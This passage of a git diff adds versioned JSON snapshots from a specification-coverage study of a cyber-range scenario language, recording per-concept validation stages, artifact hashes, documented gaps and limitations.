"concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "46039a013e3d4f2377396fa57d4838b2fa984eb44be1dc0e9a9a166db58203bd", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "7de8bf15504fd996b11c7b9f15d0743b452d1c438b37174124097ff2f2a11028", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution.", + "API-424 v2 participant-control contracts are checked by their dedicated contract suite; this retained offline matrix does not establish provider installation, scheduling, or effect realization.", + "Issue #1400 reverted backend trial execution-authority admission; this capture reflects the post-revert source and does not claim those guarantees." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "eca6b8bb8b0ba230d247ad0fb813ad26a80d9689", + "snapshot_id": "raes-standardized-specification-coverage-issue-1365-v59", + "snapshot_revision": "59.0.0", + "source_state": { + "base_revision": "eca6b8bb8b0ba230d247ad0fb813ad26a80d9689", + "checkout_state": "modified", + "implementation_digest": "0c667bdcb81de158930a56cacab8530bd3bc82d996494c827187feab58f73d2a", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v60.json b/docs/research/specification-coverage/execution-snapshot-v60.json new file mode 100644 index 000000000..f71f6a3f9 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v60.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-27", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": 